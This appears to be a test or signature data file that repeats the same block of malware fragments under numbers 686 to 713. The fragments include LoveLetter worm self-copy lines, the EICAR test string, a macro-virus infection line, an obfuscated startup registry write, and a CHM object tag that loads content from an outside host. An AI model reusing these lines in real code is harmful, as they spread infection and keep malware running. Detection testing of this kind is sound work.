 End Sub

686

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

687

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

688

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

689

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

690

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

691

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

692

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

693

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

694

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

695

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

696

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

697

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

698

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

699

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

700

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

701

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

702

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

703

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

704

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

705

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

706

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

707

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

708

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

709

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

710

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

711

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

712

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

713

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
